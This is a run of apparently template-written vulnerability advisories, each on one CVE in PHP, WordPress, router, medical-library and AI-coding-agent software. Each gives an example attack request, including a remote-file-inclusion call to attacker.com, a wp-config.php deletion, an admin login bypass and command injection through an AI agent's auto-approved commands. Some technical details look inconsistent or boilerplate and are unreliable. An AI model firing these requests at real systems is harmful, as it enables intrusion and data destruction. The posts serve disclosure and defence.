Author: Ameeba

Overview

CVE-2025-49383 is a critical vulnerability affecting CocoBasic Neresa, a popular PHP-based software tool. This vulnerability arises due to an improper control of the filename for the Include/Require statement in the PHP program, commonly referred to as ‘PHP Remote File Inclusion’. The exploit could potentially lead to system compromise or data leakage, impacting any organization that utilizes this software. Given the widespread use of PHP in the development community, it’s crucial to understand this vulnerability and take appropriate measures to mitigate its effect.

Vulnerability Summary

CVE ID: CVE-2025-49383
Severity: Critical, CVSS 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

CocoBasic Neresa | Up to 1.3

How the Exploit Works

This vulnerability is exploited by manipulating the filename in an Include/Require statement in a PHP program. The attacker can include a file from a remote server that contains malicious code. This allows the attacker to execute arbitrary PHP code on the server, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

<?php
// The following line is vulnerable because it does not validate
// or sanitize the filename properly before using it.
include($_GET['filename']);
?>

An attacker could exploit this by sending a specially crafted request like this:

GET /vulnerable_page.php?filename=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, `attacker.com/malicious_file.php` contains the malicious PHP code that the attacker wants to execute on the server.

Mitigation Guidance

The best mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These tools can be configured to block or alert on suspicious requests that seem to be exploiting this vulnerability.
It is also advisable to follow secure coding practices to prevent these vulnerabilities in the first place. Specifically, validate and sanitize all user inputs and avoid using user inputs directly in Include/Require statements in PHP programs.

Overview

The vulnerability identified as CVE-2025-35115 is a serious cybersecurity threat present in Agiloft Release 28, a software commonly used by various organizations across the globe. This vulnerability poses a risk to the integrity and confidentiality of information, as it allows an attacker to modify or replace the contents of a system package download URL. The severity of this issue is underscored by its potential to compromise systems or lead to data leakage, affecting both organizations and their customers.

Vulnerability Summary

CVE ID: CVE-2025-35115
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Agiloft | Release 28

How the Exploit Works

The CVE-2025-35115 exploit takes advantage of the fact that Agiloft Release 28 downloads critical system packages over an insecure HTTP connection. An attacker who is capable of intercepting this connection-often referred to as a Man-In-The-Middle (MITM) attacker-can modify or replace the contents of the download URL. This could lead to the installation of malicious packages, effectively compromising the system.

Conceptual Example Code

To understand how the exploit might work, consider the following conceptual example of an HTTP request:

GET /critical/package/download HTTP/1.1
Host: vulnerable-host.com
HTTP/1.1 200 OK
Content-Type: application/octet-stream
[Binary data]

In a secure environment, the binary data would represent the legitimate system package. In the context of this vulnerability, a MITM attacker could replace this data with a malicious package, leading to system compromise when the package is installed.

Mitigation Measures

The most effective mitigation measure for CVE-2025-35115 is to upgrade to Agiloft Release 30, as recommended by the vendor. If an immediate upgrade is not feasible, users can apply a vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. However, these measures do not fully eliminate the vulnerability, but rather reduce the risk of exploitation. Therefore, upgrading to a secure version should be considered a priority.

Overview

The cybersecurity landscape has been hit by another significant vulnerability, this time within the SolarWinds Web Help Desk. The vulnerability, identified as CVE-2024-28988, is a Java Deserialization Remote Code Execution vulnerability that permits an attacker to execute commands on the host machine. This flaw affects all versions of the Web Help Desk software, posing a considerable risk to businesses that rely on this software for their IT service management. The seriousness of the situation is underlined by the potential for system compromise or data leakage, underscoring the importance of swift mitigation.

Vulnerability Summary

CVE ID: CVE-2024-28988
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

SolarWinds Web Help Desk | All Versions

How the Exploit Works

The Java Deserialization Remote Code Execution vulnerability occurs when an application deserializes data from an untrusted source without proper validation. In the case of CVE-2024-28988, the exploit involves sending a malicious serialized object to the Web Help Desk. The software then deserializes this object, which can include code designed to execute commands on the host machine. The vulnerability is particularly dangerous because it can be exploited without authentication.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited in an HTTP request:

POST /WebHelpDesk/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/java-serialized-object
{ "serialized_object": "base64_encoded_malicious_payload" }

In the example above, an attacker sends a POST request to a vulnerable endpoint of the Web Help Desk. The content type is set to `application/java-serialized-object`, and the body of the request contains a base64 encoded serialized object that includes a malicious payload. After the Web Help Desk receives this request, it deserializes the object, causing the malicious payload to be executed.

Mitigation

SolarWinds has released a patch to address this vulnerability. All customers are strongly advised to apply the patch as soon as possible. For temporary mitigation, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS). However, these are only stopgap measures and can’t replace the patch update, which completely resolves the vulnerability. We extend our thanks to Trend Micro’s Zero Day Initiative (ZDI) for their partnership in responsibly disclosing this vulnerability.

Overview

The Biosig Project libbiosig, a vital component in the medical informatics field, is vulnerable to a significant security flaw identified as CVE-2025-46411. This vulnerability exposes the MFER parsing functionality to a stack-based buffer overflow attack. By exploiting this flaw, an attacker could potentially execute arbitrary code on the affected system, leading to substantial damages, including system compromise and data leakage. This vulnerability is particularly severe due to its high CVSS score and the widespread use of The Biosig Project libbiosig in various medical applications.

Vulnerability Summary

CVE ID: CVE-2025-46411
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Local access with specially crafted MFER file
Privileges Required: User level
User Interaction: Required to open the malicious file
Impact: Arbitrary code execution, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

The Biosig Project libbiosig | 3.9.0
The Biosig Project libbiosig | Master Branch (35a819fa)

How the Exploit Works

The exploit takes advantage of a buffer overflow vulnerability in the MFER parsing functionality of The Biosig Project libbiosig. The attacker crafts an MFER file with malicious content designed to overflow the buffer and inject arbitrary code into the system. When this file is opened in an affected system, the malicious content is executed, allowing the attacker to gain unauthorized access or cause damage.

Conceptual Example Code

The following pseudocode provides a conceptual idea of how the exploit may theoretically be carried out:

# Pseudocode for malicious MFER file
def malicious_mfer_file():
buffer = create_buffer(1024)  # Create buffer with normal capacity
payload = create_payload(2048)  # Create payload larger than buffer capacity
buffer.insert(payload)  # Insert payload into buffer, causing overflow
return buffer

This pseudocode presents a simple form of a buffer overflow attack. The payload size exceeds the buffer capacity, leading to overflow and potential execution of arbitrary code.

Mitigation Measures

Users of The Biosig Project libbiosig are strongly advised to apply the vendor-provided patch that addresses this vulnerability. In the absence of a patch, users can employ Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures against potential exploits. Additionally, users should exercise caution when opening any files from untrusted sources, as they may contain malicious content.

Overview

In the evolving world of cybersecurity threats, an alarming vulnerability has been detected in the Bravis User plugin for WordPress, a widely used content management system (CMS). The vulnerability, classified as CVE-2025-5060, allows a potential attacker to bypass authentication and gain unauthorized access to administrative privileges.
This vulnerability is particularly significant, given the large number of websites worldwide that rely on WordPress and its plugins. If exploited, it could lead to system compromise and data leakage, posing serious risks to the integrity, availability, and confidentiality of the impacted systems.

Vulnerability Summary

CVE ID: CVE-2025-5060
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to administrative privileges, potential system compromise, and data leakage.

Affected Products

Product | Affected Versions

Bravis User Plugin for WordPress | All versions up to and including 1.0.0

How the Exploit Works

The vulnerability lies in the plugin’s improper handling of user authentication. Specifically, the facebook_ajax_login_callback() function fails to adequately log in a user with the verified data. As a result, an attacker with an existing account on the site and access to the administrative user’s email can exploit this flaw to bypass authentication and log in as an administrative user.

Conceptual Example Code

While the exact exploit code would depend on the specific circumstances, the following is a conceptual example of how the vulnerability might be exploited:

POST /wp-admin/admin-ajax.php?action=bravis_fb_login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/json
{
"user_email": "admin@vulnerable-website.com",
"user_password": "attacker's_known_password"
}

In this example, the attacker sends a POST request to the ‘bravis_fb_login’ endpoint, using the administrative user’s email and a password known to the attacker. The server fails to properly authenticate the user and logs them in as an administrative user.

Mitigation

To mitigate this vulnerability, it is advised to apply the vendor-supplied patch immediately. If a patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary protection by blocking or alerting on suspicious activity. However, these are not full solutions and the plugin should be patched as soon as possible to fully secure the system.

Overview

This blog post presents a detailed analysis of the Wptobe-memberships plugin vulnerability in WordPress, identified as CVE-2025-9048. This security flaw, which affects all versions of the plugin up to and including 3.4.2, is of significant concern due to its potential to compromise systems or leak data. In the wrong hands, this vulnerability could be exploited by attackers, resulting in far-reaching impacts for businesses, organizations, and individuals using the plugin.

Vulnerability Summary

CVE ID: CVE-2025-9048
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Wptobe-memberships Plugin for WordPress | Up to and including 3.4.2

How the Exploit Works

The vulnerability resides in the del_img_ajax_call() function due to inadequate file path validation. An attacker, once authenticated with Subscriber-level access or above, can manipulate the file deletion operation to delete crucial files from the server. With the right file deleted, such as wp-config.php, the attacker can potentially execute remote code, leading to a full system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. Note, the example is presented in pseudocode:

POST /del_img_ajax_call HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "file_path": "/absolute/server/path/wp-config.php" }

In this example, the attacker sends a POST request to the del_img_ajax_call function with a JSON payload that includes the absolute server path to the wp-config.php file. The function, due to insufficient file path validation, deletes the wp-config.php file, leaving the system vulnerable to further attacks.

Recommendations for Mitigation

To mitigate the risks associated with this vulnerability, users are advised to apply the vendor patch. In the absence of a patch, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on attempts to exploit this vulnerability. Additionally, maintaining least privilege access controls and regularly monitoring system logs for unusual activity can help prevent successful exploitation.

Overview

Today we are delving deep into a critical security vulnerability tracked as CVE-2025-57771, which affects the AI-powered autonomous coding agent, Roo Code, in versions prior to 3.25.5. This vulnerability presents a significant risk to programmers, developers, and other users of the Roo Code platform. An attacker exploiting this vulnerability could potentially gain undesired system access which could lead to system compromise or data leakage.
Given the widespread use of Roo Code, this vulnerability is of notable concern. It underscores the need to keep abreast of software updates and security patches, especially when the software in question is responsible for executing commands in a coding environment.

Vulnerability Summary

CVE ID: CVE-2025-57771
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Roo Code | Versions prior to 3.25.5

How the Exploit Works

The vulnerability resides in the command parsing logic of the Roo Code AI. Specifically, it fails to handle process substitution and single ampersand characters correctly when executing auto-approved commands. If a user has enabled auto-approved command execution, an attacker can craft prompts to inject arbitrary commands to be executed alongside the intended command. The exploitation requires attacker’s access to submit prompts and user’s approval of auto-command execution.

Conceptual Example Code

Here’s a conceptual example showing how an attacker might craft a malicious prompt:

ls & echo 'malicious_command' &

In this scenario, the `ls` command is presumed to be auto-approved for execution by the user. The ampersand characters surrounding `echo ‘malicious_command’` allow this arbitrary command to be injected and executed in parallel with the `ls` command.

How to Mitigate CVE-2025-57771

The primary mitigation against this vulnerability is to apply the vendor-provided patch that fixes the issue. The patch has been included in version 3.25.5 of Roo Code. It’s highly recommended to update to this version or later to prevent potential exploitation.
If updating is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on the specific patterns used in this exploit.
Additionally, disabling auto-approved command execution within Roo Code, which is the default setting, can help to protect against this vulnerability. This would require the user to manually approve each command before execution, adding an extra layer of security.

Overview

A significant weakness has been identified in Tenda AC20 16.03.08.05, a popular wireless router firmware. This vulnerability, designated as CVE-2025-9791, has far-reaching implications and could potentially lead to system compromise or data leakage. This issue particularly affects the file /goform/fromAdvSetMacMtuWan, which due to a flaw, could be manipulated to trigger a buffer overflow. It is an alarming revelation since remote exploitation of this vulnerability is possible, and the exploit has already been made publicly available.

Vulnerability Summary

CVE ID: CVE-2025-9791
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda AC20 | 16.03.08.05

How the Exploit Works

The exploit works by manipulating the argument wanMTU in the /goform/fromAdvSetMacMtuWan file. By doing this, a stack-based buffer overflow is triggered. Buffer overflows are caused when more data is written to a piece of memory or a buffer than it can handle. This overflow of data can then overwrite adjacent memory spaces, causing unpredictable behavior such as crashes, incorrect results, and in this case, potentially granting unauthorized access to the system’s resources.

Conceptual Example Code

This is a conceptual example of how an HTTP request could be used to exploit this vulnerability. The “malicious_payload” would be specifically designed to trigger the buffer overflow.

POST /goform/fromAdvSetMacMtuWan HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "wanMTU": "malicious_payload" }

Please note this is a simplified representation and in a real-world scenario, the malicious payload would be specially crafted data that would cause the buffer overflow.
In conclusion, it is of utmost importance that users of the affected Tenda AC20 firmware version update to a patched version as soon as possible or apply a suitable WAF/IDS to mitigate the risk temporarily.

Overview

The CVE-2025-55741 vulnerability pertains to a flaw found in the UnoPim open-source Product Information Management (PIM) system. It affects versions 0.3.0 and earlier of the PIM system and can potentially lead to unauthorized deletion of products, causing data loss and business disruption. This vulnerability is particularly noteworthy due to the potential for system compromise and data leakage, which can have a significant impact on any business using the affected software.

Vulnerability Summary

CVE ID: CVE-2025-55741
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Unauthorized product deletion leading to potential system compromise and data leakage.

Affected Products

Product | Affected Versions

UnoPim | 0.3.0 and below

How the Exploit Works

The vulnerability lies in the way the UnoPim system handles user privileges. While the system correctly restricts users without deletion privileges from removing products via the standard endpoint, it fails to enforce the same restrictions at the mass-delete endpoint. As a result, a malicious user can bypass the intended access controls and issue requests to the mass-delete endpoint, leading to unauthorized deletion of products.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a sample HTTP DELETE request to the mass-delete endpoint:

DELETE /products/mass-delete HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "product_ids": [1, 2, 3] }

In this example, the attacker sends a DELETE request to the mass-delete endpoint with a list of product IDs. The server processes the request and deletes the products, even though the user does not have the appropriate delete privileges.

Mitigation

The vulnerability is fixed in version 0.3.1 of UnoPim. Users of the affected versions are strongly recommended to update to the latest version to protect their systems. If updating isn’t immediately possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can detect and block suspicious requests to the mass-delete endpoint, reducing the risk of unauthorized product deletion. However, these are temporary solutions and updating to the patched version remains the most effective way to secure the system against this vulnerability.

Overview

In the ever-evolving landscape of cybersecurity, a recently discovered vulnerability, CVE-2025-51605, poses a notable threat to users of Shopizer 3.2.7. As an e-commerce software solution, Shopizer is utilized by many businesses to manage their online stores which makes the impact of this vulnerability potentially extensive. The issue pertains to the server’s CORS implementation that improperly reflects the client-supplied Origin header, thereby exposing sensitive data to potential cross-origin requests. This vulnerability is significant as it could allow an attacker to compromise systems and leak sensitive data, necessitating urgent attention and mitigation actions.

Vulnerability Summary

CVE ID: CVE-2025-51605
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Shopizer | 3.2.7

How the Exploit Works

The exploit takes advantage of the improper reflection of the client-supplied Origin header into the Access-Control-Allow-Origin by the server’s CORS implementation. Coupled with the enabling of Access-Control-Allow-Credentials: true, it exposes the system to potential cross-origin attacks. A malicious actor can exploit this vulnerability by making authenticated cross-origin requests from any origin, thereby gaining unauthorized access to sensitive responses.

Conceptual Example Code

The following example demonstrates how an attacker might exploit the vulnerability:

GET /sensitive/data HTTP/1.1
Host: vulnerable.shopizer.com
Origin: http://malicious-website.com
Cookie: [session_cookie]

In this example, the attacker sends a GET request to the vulnerable Shopizer site from their malicious site. The server responds with sensitive data, reflecting the malicious site’s origin in the Access-Control-Allow-Origin header. As a result, the attacker can read the response on their site, leading to a potential data breach.

Mitigation Guidance

The best course of action to mitigate this vulnerability is by applying the vendor-supplied patch. Until then, users can use Web Application Firewall (WAF) or Intrusion Detection Systems (IDS) to temporarily mitigate the risk. It’s also crucial to regularly update and patch your systems to prevent similar vulnerabilities in the future.